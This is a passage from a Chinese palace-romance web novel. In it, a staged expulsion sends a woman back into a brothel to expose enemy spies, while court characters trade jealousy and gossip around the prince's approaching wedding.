半天后终于发现程良不知何时已站在自己案边,便立马急急收起自己的一脸痴笑后倒吸了一口,哼了一声,才恢复了往日的冰冷面容。

程良自知多问无益,轩辕翰定是不会承认什么,且看他到底还能忍多久吧,就看这眼前的情势,都已经把人家抱上了,哼......。

一番得意地猜度过后,这才开始慢慢禀告“殿下,婆婆的儿媳清醒了”轩辕翰听闻眼睛立马抬起看向程良怔着。

程良继续认真地禀报“据她回忆,她是从家中出来后被人诓骗,到了城里的烟花之地万娇阁,万娇阁正是给她下毒之人,却也定期给她服用解毒的解药。但万娇阁却只禁足她在房内,却从不用她接客,所以目前还不知道他们意欲为何”。

轩辕翰听了微微蹙眉亦是不解,程良自是对万娇阁有所耳闻,他道“万娇阁是西秦最有名的烟花之地,有很多王公大臣流连忘返与此,他们更是培养了许多貌美的女子尤物进献给各国大臣交换名利,各取所需,甚是鱼目混杂”。

“难道万娇阁是北烈细作的据点?”轩辕翰突然想起衣上云之前跟他说过婆婆的儿媳所中的断肠草毒种类是产自北方游牧民族,再听到程良的这番话,一下子便联想到北烈国。

程良听了亦是恍然大悟,眼睛一抬便开口道“殿下,属下有一计”。

轩辕翰看向他,程良继续道“不入虎穴焉得虎子,何不让婆婆的儿媳重新回到万娇阁,属下命人暗中加强保护,如此规模的场所,必定有重大阴谋。让其帮我们引出这些幕后之人来。既然她丈夫的失踪跟北烈国有关,无论她想寻人还是报仇,她肯定会愿意做这件事的,没准或许还真能借此找回她的丈夫”。

“这不失为一个好的计策,但如果她不愿意,就找合适的人去做,不要为难她”轩辕翰交代程良,程良心领神会地退下立即去办这件事。

“媳妇,这件事非同小可,那种地方一不小心你可就性命不保啊”。

“娘,你放心,玉娘一定会加倍小心。为了灵儿的爹,为了我们一家人能早日得已团圆,玉娘什么都愿意做,哪怕是赔上玉娘这条性命也在所不惜。再说了娘,没准灵儿的爹真的还活着,那玉娘就更要做点什么了,您就放心答应让玉娘去吧”。

程良一得到轩辕翰的准许,告退后便来将他们方才的计划急急告诉了婆婆一家三口,没想到玉娘听了一口就答应了,可是婆婆却甚是不舍。

儿子没了,媳妇好不容易能够活着回来,她自是不愿意冒险一家人再次分离,灵儿再次失去母亲。

可是听到媳妇这席话,她也开始信心满满地相信着儿子尚还活在人间,这种诱惑又不得不驱使让她这个做母亲的内心为之动摇。

最终婆婆还是依依不舍地含着泪答应了玉娘,一家三口紧紧抱在一起痛哭流渧。

又要分别了,这一别不知明日会发生何事,亦不知归期是何夕?

第二日天一亮,张嬷嬷便奉秦王轩辕翰之命配合着王府上下上演了一场好戏-苦肉计。

张嬷嬷起初是专门侍奉先皇的嬷嬷,太妃一入宫侍奉先皇受宠,先皇便将她特赐给太妃。至此就寸步不离伴随着太妃左右,对太妃尽心尽责忠心耿耿。

直至太妃离世,她也不愿再离开王府,总感觉王府就是她的一辈子,她的一辈子都在这里,她又怎舍得离开。

于是,张嬷嬷在这里也就是秦王府最老的人了,也是整个王府上下大家都最尊重的人。几十年的宫中生活,后宫嫔妃们的各种心计在她的心里可是一点都不含糊的。

这一大清早的,路上人来人往络绎不绝,各自都急急赶着各自的路。

此时,却都不约而同地被秦王府后门的喝斥怒骂声纷纷吸引过来,顿时间秦王府后门口人头攒动,聚集了黑压压一大片看热闹的人。

只见一个面容娇好,身材也很是不错凹凸有致却发髻散乱的女人被两个秦王府的仆人架起狠狠从里面拖出来后推出门外摔在地上......

第二十八章:屈辱,秦王府的狐狸精

大清早,路上人来人往络绎不绝,各自都急急赶着各自的路,却都不约而同地被秦王府后门的喝斥怒骂声纷纷吸引。

顿时间秦王府后门口人头攒动,聚集了黑压压一大片看热闹的人。

只见一个面容娇好,身材也很是不错凹凸有致却发髻散乱的女人,被两个秦王府的仆人架着从里面拖出来后狠狠推出门外,摔在地上。

女人顺势侧身趴倒在了门口冰冷的地上,泪流满面低着头抽泣着,接着迎面被甩过来一个青色的粗布包袱,里面包裹着的都是些普通质地的女人衣衫。

包袱本就是胡乱系着,就这样被松松散散地丢出来,里面的衣物一瞬间犹如飞花般散落了一地,里面几件轻小而柔软贴身,略微带些性感色彩的亵衣亵裤,引起了周围人群里许多猥琐眼神的注意。

然那妇人此时却只顾着痛哭而并没有注意到散落的包袱,周围的行人见此情景都纷纷交头接耳嘀咕着,对着妇人指指点点。

只见张嬷嬷做出一副趾高气昂的姿态来,扬眉鄙视着妇人,一脸愤怒嗤之以鼻地对着妇人狠狠谩骂:“贱人,不要脸。真没看出来你竟是个想飞上枝头做凤凰,攀图富贵的狐媚主”。

此时,人群里有人听闻后便道“哦,原来是秦王府抓住了个狐狸精啊”。

张嬷嬷看了一眼说话的人,继续面不改色道“昔日里我看你无家可归,可怜你才收留你在王府里当差伺候。你倒好,竟然打起秦王殿下的主意来。秦王殿下也是你这种低贱身份的人可以亵渎的吗?秦王殿下也是你可以惦记的?你也不先拿个镜子好好照照自己是猫是狗?秦王可是当今陛下御赐良缘不日便要将大婚娶那富甲一方的东宁国最尊贵的公主的。贱人你可知自己是什么身份,还不快滚,要不是王府不日就要大办喜事,见不得血光,今天本嬷嬷定会让你横着出去。以后再让我瞧见,小心你的贱命”。

话一说完张嬷嬷便狠狠地哼了一声便转身进去,命人将大门关上。留那妇人一人始终侧身趴在地上一句话都没有。

此时,围观的人群听完了张嬷嬷的整段故事,终于明白发生了什么事情。

这时,都对着妇人一边摇头,一边指手画脚地议论谩骂着,甚至不乏还有对其唾弃口水者......

“原来是个骚货,狐狸精”

“长得倒是眉清目秀还说得过去”

“可这是秦王,西秦国皇帝唯一的亲弟弟,西秦唯一尊贵的王爷,一人之下万人之上”

“这天下有多少大臣贵族富商之女挤破了头想要高攀都攀不上,岂是你能攀附的”

“真是癞蛤蟆想吃天鹅肉——痴心妄想,不要命了”

忽然人群中竟有人将刚从集市置办回去要喂鸡的烂菜叶子向妇人丢了过去,正好砸在妇人身上,本来趴在地上一动不动的妇人突然被惊吓到,身子微微晃了一下。

谁知紧接着人群里众人瞬间有模学模有样学样,只听到连续不断的“啪啪啪.......”臭鸡蛋、喂狗的废弃骨头、更多的烂菜叶一一向着妇人抛丢过去,妇人瞬间变得污头垢面甚是凄惨。

手里没有可丢的物件的,竟然随手在地上捡到什么便是什么的拿起朝向着妇人掷过去。

忽然,人群里几名穿着打扮不像是一般平民女子的小姐模样朝着妇人亦摩拳擦掌着走过去......

“你们要干什么”妇人见来人朝着她横眉竖眼地过来,惊慌失色道。

“不要脸的贱人,竟敢亵渎我们心中至高无上睥睨天下的秦王殿下,本小姐今天就让你好好长长记性”一名女子瞪大眼睛冷眼朝她训斥。

“不要......”随着妇人一声凄惨的求饶尖叫声,这几名女子一起上前来对她掌掴的掌掴,扯头发的扯头发,拳脚相加撕扯在一起,背后的人群见机亦是一拥而上,场面瞬间一片混乱。

......

而此时,仅一墙之隔的秦王府后院里,妇人玉娘的婆婆和她5岁的女儿灵儿清清楚楚地听着外面的谩骂声和所有发生的一切响声,却都强忍着早已泪流满面。

“不,她们不能这样对灵儿的娘亲,娘亲......”灵儿大叫着,终于忍不住拔腿转身朝大门奔去。

婆婆看见紧紧追上去一把将她死死捉住拼命往回拽,灵儿却拼尽全力伸直了另一只弱小的胳膊,撑开五指想要去触那门的门闩,可终究还是被婆婆拽的离门闩越来越远。

离开大门后,婆婆便急急用一只满是沧桑的手捂住自己的嘴巴,另一只手则同时也捂了小孙女的嘴巴,只怕再这样下去,这哭喊声怕是要引起墙外某些人的怀疑了。

终于她将灵儿紧紧控制拦住在自己的怀中,确保灵儿再无力挣脱跑出去或者发声喊出声来破坏了他们的重要计划。

许是一时情急用力太大,灵儿的小脸一会儿便憋的通红通红的。

张嬷嬷站在一边心疼地看着,却又一脸的无可奈何。

小小年纪,本应是无忧无虑受爹娘万般疼爱庇护周全,可仅只5岁的灵儿心灵却要遭受一次又一次的重创;

风烛残年,本应是儿女承欢膝下、含饴弄孙、安享天年,可如今婆婆却是儿子生死不明,媳妇又为此挺身走险进入虎穴。

良久,张嬷嬷深深叹了口气,满脸心疼地朝着婆孙俩走过去,缓缓拿开了捂在俩人嘴上的手,语重心长地说“放心吧,今天这苦,玉娘不会白受,她一定能做到。苍天有眼,相信你儿子一定还活着,你们一家人很快就会团圆的”说完三人互相凝视着。

而此时,站在大殿门口的轩辕翰和程良亦是一脸凝重地看着眼前发生的一切,轩辕翰单手负手而立,愤怒的拳头紧紧握起。

程良从身后看着主子那紧握的双拳,眼里亦露出充满杀气凌厉而又坚毅的目光。

爱,让人变得勇敢而无畏;

为了爱,我们可以义无反顾地挑战自己的所有极限,哪怕是...死。

许久后,街上看热闹的人终于渐渐地也一个个慢慢散去。

遍体鳞伤的妇人这才缓缓抬起头,起身来收拾这一片狼藉。一片片地扯掉头上身上的馊物,弯腰下去重新整理好散落的衣物,再系好包袱。

随即慢慢起身来将包袱搭在肩上,向前踉踉跄跄缓缓走着,一路所到之处尽是一片路人对她的指手画脚、评头论足、言语讥讽、污声漫骂。

她心里着实委屈,可是她却依旧告诉自己要勇敢,只有勇敢坚定地走下去,才能让她今日所受的所有侮辱都变得有价值,而这价值便是换取一家人幸福的团聚。

终于她灰头土脸一跌一跄地来到了万娇阁门口。

一到万娇阁,便看到门口一个发髻上插着一朵朱红大绢花,浓妆艳抹的老鸨正扭捏着那副水桶腰满脸堆笑着接送来往的“贵客”。

一看到上次逃跑的妇人归来,老鸨便气冲冲地大步流星朝着过去。一脸横肉地骂道:“好啊,原来是你这个不要脸的。看来是老娘平日里对你太好了,你还敢跑。怎么,听说你看上了秦王府的主了。眼光还不低啊,即是如此,你怎么不早说呢,老娘我可以找人帮你好好打点打点,铺铺路啊。你就这样自己这幅德性送上门去,被人赶出来了不是”。

老鸨一边说着一边双臂环自抱胸而立,显出一副自己无所不能的气势来。

妇人连忙迎上去扶住她的胳膊苦笑着说“对不起,是我不懂事,您就原谅我一次吧,以后我再也不跑了”。

“哼,你当我这儿是什么地方啊,想来就来,想走就走”老鸨哼着鼻子道。

“以后我一定听你的话,你就饶了我这次吧”老鸨见其服软,便二话不说一把死死捏住她胳膊上的一块皮肉,一路扯着将她拽进万娇阁的大门。

随即将她丢给几个壮汉,交待其看好了,莫让再逃了“你们几个废物,给老娘把她看好了,要是再给逃了,看主子不活剥了你们的皮才是”。

就这样,玉娘又重新回到了之前好不容易差点丢了性命才逃离的令她深恶痛绝的烟花柳巷之所,不知道她接下来的命运到底会是怎样的?

但是这次回来她却是心怀欣喜,心甘情愿的。因为她知道了这里肯定会有北烈的细作,有北烈的细作便会有他丈夫的消息。

他不相信他的丈夫会死,他的丈夫一定还活着。她要救回她的丈夫。所以再苦、再痛、再难她也一定会做。

她坚信,他们一定会有全家团聚的那一天。

而在西秦学院陆天娇的阁楼里,陆天娇正独自坐在窗前望着窗外.阴冷的天气发呆。

窗外尽是一片冬日里枯枝荒凉的景象,正如她此刻荒凉落寞的心,唯有她自己孤芳自赏。

打小她就以为与自己青梅竹马一起在西秦学院读书长大的轩辕翰,她更愿意亲切地称呼他做翰哥哥,会是她这辈子唯一也是她最好的归宿。

从认识轩辕翰的第一眼开始,她就认定了做翰哥哥的王妃是她这辈子最大的梦想和骄傲。

这么多年,她小心翼翼地守着自己的这份期许,期盼着身为院长又对轩辕翰忠心耿耿唯命是从的父亲能尽早替自己做主,将这份女儿家羞于启齿的心思禀明殿下,而今谁料却被璟帝的一纸赐婚全都泡汤了。

“永乐公主”此时她蹙眉口中念道。

随即只见放在桌案上的一只纤纤玉手慢慢紧握成拳,攥得紧紧的,紧紧的。

第二十九章:长相思兮,短相思兮

“永乐公主”陆天骄蹙眉口中痴痴念道。

随即只见放在桌案上的一只纤纤玉手慢慢紧握成拳,攥得紧紧的,紧紧的。

此时,东宁国永乐公主的送亲队伍已到达了西秦国边境。

轩辕翰大婚在即,陆天骄即将要同哥哥陆天麟随父亲一道启程前往秦王府贺喜观礼。可她实在不知,到时候她是否能控制住自己这愤愤不平的心情。

就在这时,陆天麟兴冲冲地掀开厚重的门帘走了进来“妹妹,这天真是越来越冷了,你可得多注意着点身子啊,此次前去秦王府,记得多带几件衣服。别冻着了”。

自从上次被轩辕玥来西秦学院训斥了一番后,陆天麟倒真的改变了不少,竟老老实实地帮着父亲陆贤打理起了学院诸事,如今已然可以独当一面了。

他一进门便看到妹妹原本娇柔精致的小脸上这会儿正展现着一副心灰阴冷之态以及那放在桌案上的一只紧紧握起的秀拳,顿时心里自然也是猜出了半分。

陆天骄抬眼看了陆天麟一下,却没有说话,仍旧回到自己沉沉的心思当中沉浸着。

陆天麟见此自是有些心疼这个妹妹,便劝道“妹妹,这也不能全怪秦王殿下,毕竟殿下的大婚和殿下的王妃,这一切本就不是殿下自己...尤其不是父亲可以左右得了的?”。

“可殿下这么多年甚至连一句话对妹妹都没有,不是吗”,有时候有些事不说也罢,一说反倒会让人更加愤怒和伤心难过。

就如现在,听到陆天麟的这句话,陆天骄满腹的委屈瞬时爆发愤怒地吼道,往日里的温柔、端庄、冷静、瞬间都消失的无影无踪。

“妹妹,这不是他们的错”陆天麟依旧还想极力劝解。

“那依哥哥的意思,是妹妹我的错了?”陆天骄竟有些蛮不讲理的声嘶竭力起来,眼角竟然还伴随着流下了一串串苦情的眼泪来。

“哥哥应该知道,翰哥哥是你妹妹...我从小长到大唯一喜欢的人。妹妹甚至都认为自己就是为翰哥哥而生的,翰哥哥是妹妹我的梦我的命啊”陆天骄情绪越来越激动,也让人着实越看越心疼。

“入我相思门,知我相思苦,长相思兮长相忆,短相思兮无穷极,早知如此绊人心,何如当初莫相识”陆天骄最后黯然神伤地低吟道。

陆天麟看着她满腹悲伤,仍竭力寻思该如何才能宽慰她这个向来感情细腻而又心思颇重的妹妹。

谁知陆天骄突然收起了哭声,拭了拭脸庞的泪痕接着说了句“哥哥,妹妹不能放弃,我若真的放弃了,那便就不是陆天骄了”。

陆天麟听着看着这个妹妹,被她此言行举止吓了一跳,立马站起身来质问道“妹妹,你想做什么?”。

“夜深了,哥哥请回吧。妹妹要休息了,明日大早还要启程赶路前往秦王府道贺呢”陆天骄忽然看都不看陆天麟的眼睛,只顾冷声着说出这番话来,便急急赶着陆天麟出了房间。

陆天麟无奈只得起身踱了步离开,听了妹妹这些话,他心里七上八下,轻声喃道“老天保佑,这个傻妹妹可千万不要做出什么出格的事才好”。

待到看见陆天麟确实已经完全走远了,陆天骄才重新回到窗前的桌案边继续坐了下来,嘴角和脸上却露出了一脸充满邪恶的冷笑,让人在本就寒冷的冬天里瞬间不寒而栗。

......

“什么?”。

风华宫里传出轩辕玥惊叫的声音。

原来是宫女刚刚禀报了一个皇宫里的大八卦传闻,于是她便被刚呈上来入口的一杯奶茶呛得瞬间不断地咳起来,半天后好不容易才恢复了平静。

“你说的可是真的?”轩辕玥再次惊恐地确认。

“公主殿下,稍安勿躁。奴婢说的句句属实,御药房所有人都亲眼所见,均可作证”小宫女吓得跪地怯怯地禀着。

“本公主这个皇叔,他真的当着众人的面抱了那个丫头?还早就送了手镯给她?本公主没有幻听?”轩辕玥本能般地轻触一下自己的耳朵,一脸的不可思议随即便在殿内来回踱步着。

正在这时,衣上云和丁香刚好端着轩辕玥的冬日滋补药汤来求见。虽然在轩辕翰的庇护下她已经是大药女了,可知道轩辕玥不是一般人伺候得了的,也本着对她一份尤为感恩的特别心意,衣上云还是会亲自处理风华宫的药石之事。

还没等她来得及向轩辕玥行礼,轩辕玥一看到衣上云进来,便急急冲着她踱着大步迈过去拉住她的手进来道“云儿,你来的正好。刚才这些个大胆的奴才跟本公主说秦皇叔当着御药房所有人的面抱了你,还送了你一只手镯,你告诉本公主,这到底是不是真的?”。

衣上云和丁香听闻惊慌失措,两人目光对视,又随即低下了头。

而这时,紧抓着衣上云手腕的轩辕玥不明所以地盯着眼前这两个人怪异的表情,左右看了看,手里一不小心便摸到了衣上云衣袖下的那只七彩.金丝彩玉镯子。

轩辕玥不等衣上云将手缩回去,顺势便一把掀开了她的袖子,一只精美的七彩玉镯便展现在了众人的面前。

“天哪,快看,真的有耶”风华宫内众人,有的惊讶着捂嘴,有的惊叫......瞬时间议论纷纷。

轩辕玥亦是瞪大了眼睛,一张樱桃小嘴也随之惊讶地张开来,竟惊得结巴起来,半天说了一句“不会吧...这...难道这就是秦皇叔......,这一切是真的?”。

轩辕玥不敢相信自己的眼睛,盯着手镯半天才艰难地说完了这句话,随即便抬起头来看向衣上云的眼睛,一动不动地要她一个解释。

就在衣上云诚惶诚恐正准备开口的时候,丁香抢了先说道“公主殿下,这都是奴婢的错,公主您不要责怪云儿。是奴婢得知云儿有一个十分珍贵的手镯,便硬是求她让奴婢看一眼,谁知被之前的大药女发现,想占为已有,云儿不肯,大药女便将云儿关了一天一夜还严刑逼供。奴婢怕云儿出事,那日,奴婢本是要来风华宫求公主相救,谁知半路遇到了秦王殿下。殿下心善,才帮助了云儿。这个手镯,奴婢作证,本就是云儿的,并不是秦王所赠。真的,公主,请您相信奴婢,奴婢绝对不敢欺瞒公主”。

丁香胆小,但是衣上云待她极好,她也自是知恩善报,不能辜负了她。

听完丁香的这番话,轩辕玥才后怕起来,方感是自己大意了。她早该派人去御药房看一眼的,难怪这么久没看到这个丫头来风华宫走动。

随即她赶快拉着衣上云上下左右仔仔细细打量了一番后语重心长地问道“都伤哪了,好了没有,可还有哪里感觉不适?”。

衣上云朝她微笑着,连忙回道“公主,奴婢并无大碍,已经没事了。谢公主关怀”。

丁香却愤愤不平地告诉轩辕玥“哪里无大碍了,那个大药女真是太坏了,她竟用井水浇云儿,这大冬天的,人都快冻僵了,如果再晚到一步,怕是就性命不保了呢”。

“哼,这个大药女究竟是何方神圣,她是不要命了吗,本公主的人竟也敢动”轩辕玥听了气不过地怒道。

丁香又道“不过公主殿下,原来的大药女已经被院使大人严惩了五十大板,现在云儿已经是新晋的大药女了,这一切都是托了秦王殿下的福”丁香一脸崇拜地说着。

衣上云斜眼瞪了她一眼,她才终于安静了下来。

“秦皇叔此事办的甚是漂亮......那皇叔真的抱你了?”轩辕玥依旧不依不饶,凑到衣上云身边想要确认。

衣上云低着眉眼没有说话,脸上却又露出了那久违的一片绯红。此时不用她解释,亦不用她言语,轩辕玥看着她的表情就已经明白了所有的一切。

此时轩辕玥嘴角上扬,得意地坏笑着。忽然那调皮的一对眼珠子咕噜一转,冒出这样一句话来“云儿,后天随本公主出宫,我们去......秦王府”。

衣上云听到她这句话,立马抬头惊道“公主,云儿......”可一看到轩辕玥不容置疑的眼神,她又将话咽了回去。

轩辕玥走到她身边侧身斜向她说“你受了本公主皇叔这么大的恩,如今人家大婚在即,难道你不应该亲自上门致谢,道个贺吗”说完,她竟发出一阵“哈哈哈”爽朗的笑声来,一点都不像一个端庄优雅的皇家公主模样。

衣上云这下被轩辕玥怼的彻底没了推辞拒绝的余地。

衣上云只能心想,罢了,她只要跟在轩辕玥后面就好了,她也确实应该当面好好谢谢轩辕翰,那么多次危难时刻的挺身相救。可除了说谢谢之外,她想想自己也没有什么其它珍贵的东西可以做谢礼的。

“对了...谢礼...”衣上云喃喃道。

那可是秦王殿下,西秦国或者整个灵空大陆还有什么东西是他所期许的吗?他可什么都不缺呢。

是夜,然夜不能寐。虽说去秦王府要怎么应对,衣上云早已经心里计划好了,可如今却还是碾转反侧失眠着。

到底为什么失眠,怕是她自己也说不清楚。她自是不知,她与轩辕翰之间的爱恨纠缠才刚刚开始。

城东秦王府里,里里外外已被装饰成一片大红喜庆的氛围。

轩辕翰亦是躺在寝殿的床榻上失眠着。大婚将至,他的脸上却依旧冰冷无一点喜色,反而躺在榻上手里紧紧攥着一条白色丝帕,连他自己都不知道从什么时候起,一安静下来的时候就已经习惯性地拿出这条丝帕反复细细地端详。

仿佛每次端详的时候就会看到那个瘦弱、勇敢、坚强的倩影。

然而却是“山有木兮木有枝,心悦君兮君不知”,好像世界上最遥远的距离并不是生与死,而是他站在她面前,她却不知道......他心悦她。

第三十章:大婚贺礼

自古以来皇族的大婚,本就隆重。

而轩辕翰作为西秦皇帝唯一的亲弟弟,也是西秦国唯一的亲王,他的大婚与西秦皇帝相比较自是也不会逊色多少,璟帝也不能不给他这份独有的荣耀。

璟帝膝下单薄,能继承未来大业的也就只有一个如今仅仅10岁的太子轩辕昊,且这几年太子一直由太傅温谦伴驾左右隐藏身份于灵空大陆各地之间多方游历。

因此这些年,四方征战、驰骋沙场、保卫疆土的兵权重任即使天生多疑他也只能交予这个唯一的亲皇弟。

虽也是他的心头刺不得不处处提防,但也似是他无可奈何的事,谁让这个骁勇的战神皇弟足智多谋、沉稳内敛、少年便得已封王,但凡灵空大陆敌国将领无不闻风而丧胆呢。

如今大婚六礼:纳采、问名、纳吉、纳征、请期、亲迎。从开始的每一项宫里的那几位主子都安排了专门的礼部官员尽心操持,自会面面俱到,这个亲王自是要给足他皇家应有尽有的颜面。

眼看着明日便到吉时了,秦王府里已是万事俱备只欠东风。里里外外张灯结彩喜帐连连,门户上贴着喜庆的对联,到处满是醒目的大红双喜字,一盏盏大红灯笼高高挂起,无处不是一片大喜之色。

这会儿时间已经快到晌午了,远远地两辆马车正向着秦王府方向而来。马车里面坐着的正是西秦学院陆家公子陆天麟和大小姐陆天骄兄妹俩。

“哥哥可知,这两把古琴本是妹妹留给自己出嫁用的,可如今...”陆天骄看着眼前的两把貌似很珍贵的稀世古琴黯然神伤地对坐在身旁的陆天麟说道。

“妹妹,事已至此,木已成舟,你再伤感也是徒劳烦恼,不如宽心才好。秦王府就快到了,莫让殿下和父亲看到你的心思”陆天麟满脸忧心地关切安慰道。

然陆天骄却根本就没听进去,只自顾自地一直低头看着眼前的两把琴痴痴地愣着。

马车很快到了秦王府门口停下来,陆天骄跟随着陆天麟下车来。一抬头就看到了眼前这一片刺眼的大红色,她竟霎那间好像被惊吓到了似的怔着,然眼里却噙满了泪水,让人看着甚是楚楚可怜的模样。

陆天麟看到她此时的神情,连忙扯了扯她的衣袖,她方才清醒过来轻轻拭掉脸庞的泪痕,跟着一起步上了石阶走了进去。

“陆院长、陆少主、陆小姐、一路辛苦,里面请”走出来相迎的是副将程良,他恭敬地问候后将三人一路带至承华殿。

三人一入殿内,见到高高在上的秦王府正主,便急急一齐上前行礼道贺:

“老夫恭贺王爷大喜”

“天麟恭贺王爷大喜”

“民女恭贺王爷大喜”

“都起来吧,赐座”轩辕翰依旧端着一副冰冷的姿态说着。

“殿下,这龙吟琴和凤鸣琴乃老夫代表西秦学院恭贺殿下大婚的一片心意,还望殿下笑纳”陆贤恭敬地说道。

跟着,陆天麟和陆天骄兄妹俩人起身恭恭敬敬地将古琴奉上,陆天骄露出一脸的不舍和哀怨之态。

“院长有心了”轩辕翰惜字如金地说出这几个字,程良便急急上前接过贺礼将其小心翼翼地放在大殿一角的桌案上。

这时,轩辕翰问陆贤道“本王安排你的事情,进展如何了?”。

“殿下交代的事,老夫尚还在查找确认中,如有消息,老夫会立刻前来通知殿下。今日,老夫此行还有要事要与陛下禀告,就先行往宫里,明日再来登门叨扰”陆贤说着便起身来。

“程良”轩辕翰示意程良送客。

“多谢殿下,老夫先行告辞”陆贤行礼退了出去。

陆贤向来对轩辕翰忠心耿耿,作为父亲,他又怎会不知自己心爱的女儿自幼便苦恋轩辕翰的心思。

但他从来都不曾逾越半步去跟轩辕翰提及此事,尽管自己心里也真的非常期许,那也只能是放在自己心底最深处的一片希冀而已,因为他一直都清楚地知道轩辕翰并非池中之物。

此时,轩辕玥的马车也已经行至秦王府门口,程良刚送走陆贤,便匆匆上前去恭迎公主殿下大驾。

“这天怎么突然变得这么寒冷了,莫非是要下雪了吗?”轩辕玥一下车来便抬头看看天心里嘀咕道。

“末将程良恭迎公主殿下”。

“平身吧。程将军,这天怎么突然这么冷,你们主子明日大喜,不会要下雪吧,那可就是今冬的第一场雪啊”轩辕玥对着程良说着,还没等程良回话,便眼一斜就被这王府门前壮观的一片大红喜庆的氛围吸引了去。

“这些奴才办事还算得力,看这气派倒也是配得上秦皇叔的尊贵身份。云儿,你说是吧?”轩辕玥朝着还远远躲在一边的衣上云说道。

“回公主,秦王殿下大婚,奴才们自是不能怠慢了”衣上云微笑着回轩辕玥,同样也被这不得多见的豪华气派吸引着。

“怎么样,羡慕吧,以后云儿若是成亲,本公主便做主也让你风风光光地出嫁”衣上云听了轩辕玥这句话立马露出一脸绯红,耳朵霎时都跟着红透了。

口中急急说道“公主慎言”。

“怎么,害羞了?被皇叔抱都抱过了,怎么还这么小家子气”轩辕玥歪着脑袋眼睛直直盯着衣上云的眼睛,衣上云瞬时不知该如何回答,只得将头低的让人都看不到脸了。

此时一边的程良也正眼巴巴地看着眼前这两个女人打趣,竟独自一人痴笑起来,他可是亲眼所见他的主子对衣上云的那个公主抱的,真是羡煞旁人呀。

说完,轩辕玥嘴角上扬露出个诡异的笑容,便径自朝着承华殿扬长而去,一行众人紧跟其后侍候。

“秦皇叔,玥儿......”轩辕玥人还没进来,声音就已经传到了承华殿里那三个人的耳朵。

这时,三人一同朝她看去,她也自是一脸惊讶地愣了一下,嘴里喃喃“想不到陆家这朵白莲花也来了,还有那个整日无所事事的纨绔子弟陆天麟”。

轩辕玥朝着陆氏兄妹抛过去了一个轻蔑的眼神,随即便对着轩辕翰恭恭敬敬地行礼道“玥儿拜见秦皇叔,给秦皇叔道喜了”。

可轩辕翰还没开口让她起身,她便急着自己礼毕。随后朝着陆氏兄妹二人说道“你们俩兄妹倒是挺会找地儿啊,这哪儿人多你们往哪儿挤。知道秦皇叔大婚,满朝王公大臣贵族都会前来祝贺,所以你们兄妹俩是一起合计着来这儿捡攀高枝的么?”

“玥儿”轩辕翰冷声训道,轩辕玥听到看了他一眼,此时的陆氏兄妹一脸愕然地低着头不语。

轩辕玥看到他们的表情心里窃喜,便道“罢了,这大喜的日子,本公主懒得因为你们俩坏了本公主的好兴致”。

接着轩辕玥朝大殿里四处张望了一下,看到了放在一边角上的两把古琴,便朝着走了过去,仔细看了一番后只听她说“吆,这贺礼倒是有几分意思啊”。

她回头看了一眼陆氏兄妹,已猜出是他们所赠,而此时只有陆天骄看着她一脸狐疑不知道轩辕玥又想做什么,轩辕玥只对着陆天骄微笑了一下说“这就是传说中的稀世古琴,凤鸣和龙吟吧?呵呵。秦皇叔,凤求凰,琴瑟和鸣啊。不错,真是好礼,好礼”。

陆天骄话听到这里脸都已经绿了,本来弯弯的一对柳叶眉此时紧紧皱了起来。

“玥儿,不得无礼”轩辕翰再次训斥道。

轩辕玥见轩辕翰又训斥过来以示阻止,咕噜咕噜转了转眼珠突然看到边上的衣上云一直沉默着,便道“秦皇叔大婚,玥儿也有礼物要送。不过皇叔你已经贵为西秦最位高权重的秦王,与父皇比只是一人之下万人之上,自是不缺这些身外之物,那玥儿就送......”。

轩辕玥说着说着顿时停住,将一根手指指向了一边的衣上云过去,踱步慢慢走向她身边,衣上云见轩辕玥的目标落向了自己的方向,顿时六神无主不知所措,不晓得这个顽皮的公主又想做什么,只得深深地埋下头来当作视而不见。

而陆天骄见轩辕玥此举亦是一脸茫然,她远在西秦国最南边境,自是不知这里都发生了多少故事。

轩辕玥一靠近衣上云身边,便用一只手捉起她的衣袖,从里面竟摸出一只香囊来。衣上云一脸惊愕轩辕玥怎么知道自己有这个香囊的。

“你这奴才,还不快快把帮本公主准备的大婚贺礼呈上来给秦王殿下,更待何时”轩辕玥瞪着衣上云说道。

只见轩辕玥手里拿出个别致的口袋式宝蓝色香囊朝着轩辕翰一脸惊喜地说道“玥儿要送秦皇叔的正是这个爱心药香囊。正所谓戴个药香囊,不怕五虫害。秦皇叔四方征战,此药香囊不仅可以预防瘟疫,还可以驱邪解毒,平日夜里皇叔就寝也可将其置于枕边用于安神”。

公主这是什么意思,按照礼数,这个时候香囊不是该新娘子送的吗?陆天骄听了轩辕玥的话心里顿时疑惑着,只听到接下来轩辕玥说的话更让她意外。

轩辕玥说“皇叔,这个香囊可不是一般的香囊哦,这个是市上买不到的,独家秘方,灵验至极,记得一定要日日佩戴于身方显其神效喔”。

“本王知道了”轩辕翰竟欣然答应佩戴了。

真是胡闹,陆天骄......

第三十一章:白莲花,实至名归

“真是胡闹”陆天骄心里极为愤怒地嘀咕道,暗地里撇了撇嘴,谁知眼神一个不小心瞥到了旁边还在傻愣呆着的衣上云身上落下来。

陆天骄一脸疑惑地定睛上下仔细打量着眼前这个貌似营养不良所致瘦小的蒙面巾女子。

而衣上云此时亦是心在扑通扑通地跳个不停,露着一脸的慌乱之神,她正思索着轩辕玥是如何知道自己袖里新制的这个药香囊的。

轩辕翰身份尊贵非比寻常,但却一次又一次地救自己于危难之中,而出身卑微囊中羞涩的她,也自知自己不可能拿出什么稀罕像样的贺礼来。

但世人皆知秦王一向勤政爱民,日理万机,且常年征战灵空四海八荒。所以她便连夜赶着配制了这个有驱虫避毒、养心调气、安眠宁神之效的药香囊.

可本就微不足道,当她在大殿里看到了西秦学院所呈上的稀世珍宝贺礼后,她便更不知道她这份连薄礼都算不上的贺礼该以何借口将其奉上,又恐被人误会。索性藏着掖着都打算不拿出来了,可没想到...这轩辕玥到底是如何得知的。

就在衣上云还在一脸匪夷所思的时候,药香囊竟已到了轩辕翰手中。

只见香囊高雅宁静的宝蓝绸缎上嵌着几枝白梅,此时轩辕翰正用右手轻轻捧起这个药囊靠近鼻端,微微闭眼深吸起来,只觉闻着一阵清醒之味,纵使终有烦恼千万,也风起流苏飖,轸穗扬扬愁尽消。

在场众人痴望着轩辕翰满是陶醉的神态,皆被眼前这幅活色生香如痴如醉的美男图所深深吸引,唯独只有衣上云见此情景猛地又一次埋头下去再也不敢抬起。

忽然,这片充斥着满满温馨浪漫,时光静好的极其惬意暧昧的气氛被一旁终于已经忍无可忍的陆天骄一语打破“公主殿下,自古香囊乃是由新娘子所配制待到过门时分相赠,公主此举怕是有违规矩”。

